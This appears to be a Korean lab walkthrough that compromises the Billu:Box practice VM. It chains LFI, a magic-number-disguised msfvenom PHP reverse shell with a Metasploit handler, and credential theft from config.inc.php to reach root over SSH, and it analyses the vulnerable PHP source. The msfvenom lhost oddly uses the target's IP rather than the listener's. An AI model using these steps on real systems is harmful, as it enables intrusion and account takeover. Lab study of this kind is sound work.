1. BILLU:BOX 서비스
1.1 모의해킹 테스트 환경
LFI(Local File Inclusion) 취약점과 파일 업로드 취약점이 포함된 환경이다.
LFI 취약점은 특정 페이지가 서버 내 소스코드를 불러오기 할 때 파일 주소를 제대로 특정하지 않으면 발생하는 취약점이다.
LFI 취약점을 통해 파일 업로드 공격까지 연계가 가능하다.
관리자 권한을 획득하면 된다.
1.2 공격 대상 IP 정보 탐색
공격자의 IP 주소를 확인한다.
ifconfig
표 1-1 IP 주소 확인 명령어
공격자 IP 주소와 서브넷 마스크를 기반으로 nmap을 이용해 네트워크 탐색을 진행한다.
$ nmap -sn 172.16.235.0/24
-sn : 포트 스캐닝 생략한 호스트 탐색
표 1-2 nmap 네트워크 스캔 명령어
그림 1-3을 통해 공격 대상 호스트 172.16.235.133을 확인할 수 있다.
1.3 서비스 정보 확인
공격 대상 호스트 IP 주소를 바탕으로 더 많은 정보를 수집하기 위해 포트 스캐닝을 진행한다.
$ nmap -p- -A 172.16.235.133
-p- : 모든 포트 지정
-A : 공격적 스캔(OS 감지, 버전 감지)
표 1-3 nmap 포트 스캐닝 명령어
공격 대상 호스트가 22,80 TCP 포트를 열어놓고 있음을 확인할 수 있다.
22번 포트에서는 SSH, 80번 포트에서는 아파치 웹서버가 실행되고 있다.
1.4 자동 웹 진단 도구를 이용한 탐색
dirb <http://172.16.235.133> /usr/share/worldlists/dirb/big.txt
표 1-4 dirb 자동 탐색 명령어
dirb 실행 결과 웹 서버에 /phpmy, /index, /in, /add 등의 디렉터리가 있는 것을 확인할 수 있다.
/phpmy 경로로 이동하면 phpMyAdmin 로그인 페이지를 확인할 수 있다.
nikto -h <http://172.16.235.133>
표 1-5 nikto 자동 탐색 명령어
/in.php, /test.php 페이지가 나온다.
1.5 수동 탐색
in.php
/in.php 페이지를 방문하면 phpinfo 정보를 확인할 수 있다.
allow_url_fopen 설정이 사용되는 것으로 보아 LFI 취약점이 발생할 수 있다.
allow_url_include 설정이 사용되지 않는 것으로 보아 RFI 취약점은 발생할 수 없다.
test.php
/test.php 페이지에 접속하면 그림 1-9와 같이 file 파라미터가 비어있다는 에러메세지가 나온다.
버프스위트를 이용해 HTTP 요청 값을 변조한다.
file 파라미터를 추가하고 전송하면 파일을 불러올 수 있다.
존재하는 파일의 이름 및 주소를 알면 그림 1-11과 같이 불러올 수 있는 LFI 취약점이 존재한다.
2. 취약점 공격
2.1 LFI(Local File Inclusion) 취약점
수동 탐색을 통해 공격 대상 웹 서버가 LFI 취약점이 존재함을 확인했다.
그림 2-2에서 웹 서버가 사용하고 있는 백엔드 데이터베이스 정보를 확인할 수 있다.
MySQL 데이터베이스를 사용하고 있으며, 127.0.0.1(로컬호스트)를 통해 접근이 가능하고, billu, b0x_billu 계정, ica_lab 데이터베이스를 사용하고 있다.
외부 사용자의 경우 phpMyAdmin 인터페이스를 통해 데이터베이스에 접근하는데, 위에서 구한 계정을 통해 로그인한다.
로그인 후에 그림 2-4와 같이 ica_lab 데이터베이스를 확인할 수 있다.
그림 2-5와 같이 auth 테이블에서 사용자 이름과 비밀번호를 확인할 수 있다.
2.2 파일 업로드와 LFI 취약점
로그인 성공 후 Show Users, Add User 두 가지 메뉴가 존재하는 /panel.php 페이지를 확인할 수 있다.
Show Users 페이지는 현재 데이터베이스 있는 사용자들을 모두 보여주는 기능으로 이미지 파일도 함께 보여준다.
그림 2-8과 같이 /uploaded_images 디렉터리 안의 이미지 파일을 불러와 보여주는 것을 볼 수 있다.
그림 2-9의 POST 요청에서 파라미터를 확인할 수 있다.
load 파라미터를 통해 기능을 불러오고 있다고 추측할 수 있으며, 그림 2-10과 같은 페이로드 전송을 통해 LFI 취약점이 발생하는지 확인한다.
요청에 따른 응답 결과를 볼 때 LFI 취약점을 가지고 있는 것을 알 수 있다.
그림 2-11은 Add User 기능으로, 이미지, 이름, 주소, ID를 입력받아 새로운 사용자를 등록하는 기능이다.
이 기능을 통해 쉘을 업로드할 수 있다면, LFI 공격으로 쉘을 불러와 php 코드를 실행할 수 있게 된다.
쉘 제작을 하기 전 파일 업로드 테스트를 해본 결과, 이미지가 아닌 파일은 업로드가 되지 않는 것을 확인할 수 있다.
그림 2-12에 따르면 png, jpg, gif만 업로드가 가능하다.
따라서 업로드 할 리버스쉘이 이미지 파일이라고 인식하게끔 속여야 한다.
웹 서버를 속이기 위해 매직 넘버(Magic Number), 파일 시그니처(File Signature)를 이용한다.
- Magic Number / File Signature
파일 형식이라고 불리는 매직 넘버/파일 시그니처는 파일 종류만의 특별한 특징을 일컫는다.
매직넘버는 파일 맨 앞 혹은 맨 뒤 특정 바이트를 보고 알 수 있는데, jpg 파일은 맨 앞 4바이트가 FFD8FFDB, 윈도우 DOS 파일은 맨 앞 2바이트가 4D5A, png 파일은 맨 앞 8바이트가 89504E470D0A1A0A 등으로 이루어져 있다.
리눅스의 file 명령어로 매직넘버를 보고 파일의 종류를 판단할 수 있다.
즉, 매직넘버를 설정해서 파일을 변경할 수 있다.
$ echo "FFD8FFDB" | xxd -r -p > shell.jpg
xxd -r -p : stdin으로부터 16진수 바이트를 받아와 바이너리 파일에 저장
shell.jpg : xxd가 저장하는 바이너리 파일을 shell.jpg 파일로 리다이렉트
표 2-1 이미지 파일 생성
매직 넘버를 이용해 비어 있는 jpg 파일을 생성한다.
이미지 파일 뒤에 php 리버스쉘을 이어 붙여 이미지 파일 처리 시 이미지로, php 파일 처리 시 파일로 실행이 된다.
$ sudo msfvenom -p php/meterpreter/reverse_tcp lhost=172.16.235.133 lport=443 >> shell.jpg
>> : shell.jpg 파일 뒤에 리버스쉘을 이어붙인다.
표 2-2 php 리버스쉘 생성 명령어
리버스쉘을 만든 후에 메타스플로잇을 실행해 리버스쉘을 받을 준비를 한다.
sudo msfconsole
표 2-3 msfconsole 명령어
msfconsole $ use exploit/multi/handler
msfconsole $ set payload php/meterpreter/reverse_tcp
msfconsole $ set lhost 172.16.235.132
msfconsole $ set lport 443
msfconsole $ exploit
표 2-4 리버스쉘 리스너 설정 명령어
준비가 완료되면 Add User 기능으로 돌아가 shell.jpg 파일을 업로드한다.
업로드 할 때 그림 2-14와 같이 버프스위트를 통해 php 코드가 삽입된 이미지 파일이 업로드 되는 것을 확인할 수 있다.
shell.jpg 파일을 이미지 파일이 아닌 php 파일로 불러와야 한다. php 파일로 불러오기 위해 LFI 취약점을 이용한다.
/panel.php 페이지에서 그림 2-15와 같이 POST 요청을 하면 그림 2-16과 같이 리버스쉘을 확인할 수 있다.
2.3 소스코드 분석
리버스쉘을 이용해 파일을 확인할 수 있다.
LFI 취약점이 발견된 /test.php 파일과 파일 업로드 및 LFI 취약점이 발견된 /panel.php 파일에 대한 소스코드 분석을 진행한다.
test.php
<?php
function file_download($download)
{
if(file_exists($download))
{
header("Content-Description: File Transfer");
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Accept-Ranges: bytes');
header('Content-Disposition: attachment; filename="'.basename($download).'"');
header('Content-Length: ' . filesize($download));
header('Content-Type: application/octet-stream');
ob_clean();
flush();
readfile ($download);
}
else
{
echo "file not found";
}
}
if(isset($_POST['file']))
{
file_download($_POST['file']);
}
else{
echo '\\'file\\' parameter is empty. Please provide file path in \\'file\\' parameter ';
}
표 2-6 test.php 코드
사용자의 요청으로터 file 파라미터를 파싱해 file_download 함수로 전달하는데, 사용자의 입력값인 $_POST[’file’]은 입력값 검증을 거치지 않는다.
file_download 함수를 살펴보면 파일이 존재할 때 readfile() 함수를 통해 파일의 내용을 읽어낸 뒤 출력해낸다.
panel.php
<?php
session_start();
include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
header('Location: index.php', true, 302);
exit();
}
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
unset($_SESSION['logged']);
unset($_SESSION['admin']);
header('Location: index.php', true, 302);
}
echo '<hr><br>';
echo '<form method=post>
<select name=load>
<option value="show">Show Users</option>
<option value="add">Add User</option>
</select>
 <input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
if(isset($_POST['upload']))
{
$name=mysqli_real_escape_string($conn,$_POST['name']);
$address=mysqli_real_escape_string($conn,$_POST['address']);
$id=mysqli_real_escape_string($conn,$_POST['id']);
if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\\/jpeg/',$filetype ) || preg_match('/image\\/png/',$filetype ) || preg_match('/image\\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\\''.$name.'\\',\\''.$address.'\\',\\''.$iname.'\\', \\''.$id.'\\')';
mysqli_query($conn, $update);
}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "<br>only png,jpg and gif file are allowed";
}
}
}
?>
표 2-7 panel.php 코드
업로드된 파일을 상대로 확장자를 검사한다.
pathinfo 함수로 파일의 확장자를 가져온 뒤, 파일의 확장자가 jpeg, jpg, gif, png 중에 있는지 확인한다.
finfo 오브젝트를 통해 파일의 MIME 종류를 알아보고, MIME 타입이 image/jpeg, image/png, image/gif 중에 있는지 확인한다.
이미지 파일인 것이 확인되면 move_uploaded_file 함수를 통해 사용자의 이미지 파일을 uploaded_images/ 디렉터리로 옮긴다.
표 2-7에서는 업로드한 파일이 이미지인지 확인하는 방법이 파일 확장자 및 MIME 타입 체크이다.
파일 확장자 및 MIME 타입은 사용자가 임의의 입력값을 넣을 수 있기 때문에 변조가 가능하다. 이 때문에 업로드된 파일이 이미지 파일인지 알아볼 수 있는 다른 방법을 사용해야 한다.
또한 test.php와 마찬가지로 사용자 요청으로부터 파싱된 load 파라미터를 별다른 검증없이 함수에 전달한다. 사용자는 아무 파일이나 요청할 수 있고, shell.jpg 파일이 include 문에서 php 코드로 실행이 가능하다.
3. 권한 상승
3.1 정보 수집
리버스쉘에서 정보 수집 중 phpMyAdmin과 관련된 설정 파일을 찾는다.
cat /var/www/phpmy/config.inc.php
표 3-1 config.inc.php 파일 출력 명령어
phpMyAdmin 프로그램에는 config.inc.php 설정 파일이 존재하고, 그 안에는 데이터베이스와 관련된 설정이 존재한다.
그림 3-1와 같이 root:roottoor MySQL 사용자 이름과 비밀번호를 확인할 수 있다.
3.2 root SSH 로그인
그림 3-1에서 구한 정보를 이용해 SSH 로그인을 한다.
ssh root@172.16.235.133
표 3-2 SSH 접속 명령어
로그인에 성공하면 그림 3-2와 같이 root 계정의 쉘을 얻을 수 있다.
4. 결과
관리자 권한 획득이 가능하다.